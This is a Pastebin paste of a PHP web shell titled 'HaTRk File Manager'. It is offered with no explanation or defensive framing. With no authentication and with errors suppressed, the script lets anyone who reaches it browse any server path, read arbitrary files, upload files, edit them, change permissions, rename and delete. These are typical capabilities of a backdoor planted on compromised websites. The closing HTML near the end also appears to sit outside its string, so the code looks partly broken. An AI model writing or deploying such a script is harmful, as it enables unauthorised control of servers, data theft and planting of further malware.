Advertisement
dragondevile

Untitled

Jun 3rd, 2017
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. set_time_limit(0);
  3. error_reporting(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6.     foreach($_POST as $key=>$value){
  7.         $_POST[$key] = stripslashes($value);
  8.     }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <HTML>
  12. <HEAD>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>HaTRk File Manager</title>
  15. <style>
  16. body{
  17.    font-family: "Racing Sans One", cursive;
  18.    background-color: #e6e6e6;
  19.    text-shadow:0px 0px 1px #757575;
  20. }
  21. #content tr:hover{
  22.    background-color: #636263;
  23.    text-shadow:0px 0px 10px #fff;
  24. }
  25. #content .first{
  26.    background-color: silver;
  27. }
  28. #content .first:hover{
  29.    background-color: silver;
  30.    text-shadow:0px 0px 1px #757575;
  31. }
  32. table{
  33.    border: 1px #000000 dotted;
  34. }
  35. H1{
  36.    font-family: "Rye", cursive;
  37. }
  38. a{
  39.    color: #000;
  40.    text-decoration: none;
  41. }
  42. a:hover{
  43.    color: #fff;
  44.    text-shadow:0px 0px 10px #ffffff;
  45. }
  46. input,select,textarea{
  47.    border: 1px #000000 solid;
  48.    -moz-border-radius: 5px;
  49.    -webkit-border-radius:5px;
  50.    border-radius:5px;
  51. }
  52. </style>
  53. </HEAD>
  54. <BODY>
  55. <H1><center>File Manager</center></H1>
  56. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  57. <tr><td>Current Path : ';
  58. if(isset($_GET['path'])){
  59.     $path = $_GET['path'];  
  60. }else{
  61.     $path = getcwd();
  62. }
  63. $path = str_replace('\\','/',$path);
  64. $paths = explode('/',$path);
  65.  
  66. foreach($paths as $id=>$pat){
  67.     if($pat == '' && $id == 0){
  68.         $a = true;
  69.         echo '<a href="?path=/">/</a>';
  70.         continue;
  71.     }
  72.     if($pat == '') continue;
  73.     echo '<a href="?path=';
  74.     for($i=0;$i<=$id;$i++){
  75.         echo "$paths[$i]";
  76.         if($i != $id) echo "/";
  77.     }
  78.     echo '">'.$pat.'</a>/';
  79. }
  80. echo '</td></tr><tr><td>';
  81. if(isset($_FILES['file'])){
  82.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  83.         echo '<font color="green">File Upload Done.</font><br />';
  84.     }else{
  85.         echo '<font color="red">File Upload Error.</font><br />';
  86.     }
  87. }
  88. echo '<form enctype="multipart/form-data" method="POST">
  89. Upload File : <input type="file" name="file" />
  90. <input type="submit" value="upload" />
  91. </form>
  92. </td></tr>';
  93. if(isset($_GET['filesrc'])){
  94.     echo "<tr><td>Current File : ";
  95.     echo $_GET['filesrc'];
  96.     echo '</tr></td></table><br />';
  97.     echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  98. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  99.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  100.     if($_POST['opt'] == 'chmod'){
  101.         if(isset($_POST['perm'])){
  102.             if(chmod($_POST['path'],$_POST['perm'])){
  103.                 echo '<font color="green">Change Permission Done.</font><br />';
  104.             }else{
  105.                 echo '<font color="red">Change Permission Error.</font><br />';
  106.             }
  107.         }
  108.         echo '<form method="POST">
  109.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  110.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  111.        <input type="hidden" name="opt" value="chmod">
  112.        <input type="submit" value="Go" />
  113.        </form>';
  114.     }elseif($_POST['opt'] == 'rename'){
  115.         if(isset($_POST['newname'])){
  116.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  117.                 echo '<font color="green">Change Name Done.</font><br />';
  118.             }else{
  119.                 echo '<font color="red">Change Name Error.</font><br />';
  120.             }
  121.             $_POST['name'] = $_POST['newname'];
  122.         }
  123.         echo '<form method="POST">
  124.        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  125.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  126.        <input type="hidden" name="opt" value="rename">
  127.        <input type="submit" value="Go" />
  128.        </form>';
  129.     }elseif($_POST['opt'] == 'edit'){
  130.         if(isset($_POST['src'])){
  131.             $fp = fopen($_POST['path'],'w');
  132.             if(fwrite($fp,$_POST['src'])){
  133.                 echo '<font color="green">Edit File Done.</font><br />';
  134.             }else{
  135.                 echo '<font color="red">Edit File Error.</font><br />';
  136.             }
  137.             fclose($fp);
  138.         }
  139.         echo '<form method="POST">
  140.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  141.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  142.        <input type="hidden" name="opt" value="edit">
  143.        <input type="submit" value="Go" />
  144.        </form>';
  145.     }
  146.     echo '</center>';
  147. }else{
  148.     echo '</table><br /><center>';
  149.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  150.         if($_POST['type'] == 'dir'){
  151.             if(rmdir($_POST['path'])){
  152.                 echo '<font color="green">Delete Dir Done.</font><br />';
  153.             }else{
  154.                 echo '<font color="red">Delete Dir Error.</font><br />';
  155.             }
  156.         }elseif($_POST['type'] == 'file'){
  157.             if(unlink($_POST['path'])){
  158.                 echo '<font color="green">Delete File Done.</font><br />';
  159.             }else{
  160.                 echo '<font color="red">Delete File Error.</font><br />';
  161.             }
  162.         }
  163.     }
  164.     echo '</center>';
  165.     $scandir = scandir($path);
  166.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  167.    <tr class="first">
  168.        <td><center>Name</center></td>
  169.        <td><center>Size</center></td>
  170.        <td><center>Permissions</center></td>
  171.        <td><center>Options</center></td>
  172.    </tr>';
  173.  
  174.     foreach($scandir as $dir){
  175.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  176.         echo "<tr>
  177.        <td><a href=\"?path=$path/$dir\">$dir</a></td>
  178.        <td><center>--</center></td>
  179.        <td><center>";
  180.         if(is_writable("$path/$dir")) echo '<font color="green">';
  181.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  182.         echo perms("$path/$dir");
  183.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  184.        
  185.         echo "</center></td>
  186.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  187.        <select name=\"opt\">
  188.         <option value=\"\"></option>
  189.        <option value=\"delete\">Delete</option>
  190.        <option value=\"chmod\">Chmod</option>
  191.        <option value=\"rename\">Rename</option>
  192.        </select>
  193.        <input type=\"hidden\" name=\"type\" value=\"dir\">
  194.        <input type=\"hidden\" name=\"name\" value=\"$dir\">
  195.        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  196.        <input type=\"submit\" value=\">\" />
  197.        </form></center></td>
  198.        </tr>";
  199.     }
  200.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  201.     foreach($scandir as $file){
  202.         if(!is_file("$path/$file")) continue;
  203.         $size = filesize("$path/$file")/1024;
  204.         $size = round($size,3);
  205.         if($size >= 1024){
  206.             $size = round($size/1024,2).' MB';
  207.         }else{
  208.             $size = $size.' KB';
  209.         }
  210.  
  211.         echo "<tr>
  212.        <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  213.        <td><center>".$size."</center></td>
  214.        <td><center>";
  215.         if(is_writable("$path/$file")) echo '<font color="green">';
  216.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  217.         echo perms("$path/$file");
  218.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  219.         echo "</center></td>
  220.        <td><center><form method=\"POST\" action=\"?option&path=$path\">
  221.        <select name=\"opt\">
  222.         <option value=\"\"></option>
  223.        <option value=\"delete\">Delete</option>
  224.        <option value=\"chmod\">Chmod</option>
  225.        <option value=\"rename\">Rename</option>
  226.        <option value=\"edit\">Edit</option>
  227.        </select>
  228.        <input type=\"hidden\" name=\"type\" value=\"file\">
  229.        <input type=\"hidden\" name=\"name\" value=\"$file\">
  230.        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  231.        <input type=\"submit\" value=\">\" />
  232.        </form></center></td>
  233.        </tr>";
  234.     }
  235.     echo '</table>
  236.    </div>';
  237. }
  238.  
  239. </BODY>
  240. </HTML>';
  241. function perms($file){
  242.    $perms = fileperms($file);
  243.  
  244. if (($perms & 0xC000) == 0xC000) {
  245.    // Socket
  246.    $info = 's';
  247. } elseif (($perms & 0xA000) == 0xA000) {
  248.    // Symbolic Link
  249.    $info = 'l';
  250. } elseif (($perms & 0x8000) == 0x8000) {
  251.    // Regular
  252.    $info = '-';
  253. } elseif (($perms & 0x6000) == 0x6000) {
  254.    // Block special
  255.    $info = 'b';
  256. } elseif (($perms & 0x4000) == 0x4000) {
  257.    // Directory
  258.    $info = 'd';
  259. } elseif (($perms & 0x2000) == 0x2000) {
  260.    // Character special
  261.    $info = 'c';
  262. } elseif (($perms & 0x1000) == 0x1000) {
  263.    // FIFO pipe
  264.    $info = 'p';
  265. } else {
  266.    // Unknown
  267.    $info = 'u';
  268. }
  269.  
  270. // Owner
  271. $info .= (($perms & 0x0100) ? 'r' : '-');
  272. $info .= (($perms & 0x0080) ? 'w' : '-');
  273. $info .= (($perms & 0x0040) ?
  274.            (($perms & 0x0800) ? 's' : 'x' ) :
  275.            (($perms & 0x0800) ? 'S' : '-'));
  276.  
  277. // Group
  278. $info .= (($perms & 0x0020) ? 'r' : '-');
  279. $info .= (($perms & 0x0010) ? 'w' : '-');
  280. $info .= (($perms & 0x0008) ?
  281.            (($perms & 0x0400) ? 's' : 'x' ) :
  282.            (($perms & 0x0400) ? 'S' : '-'));
  283.  
  284. // World
  285. $info .= (($perms & 0x0004) ? 'r' : '-');
  286. $info .= (($perms & 0x0002) ? 'w' : '-');
  287. $info .= (($perms & 0x0001) ?
  288.            (($perms & 0x0200) ? 't' : 'x' ) :
  289.            (($perms & 0x0200) ? 'T' : '-'));
  290.  
  291.    return $info;
  292. }
  293. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement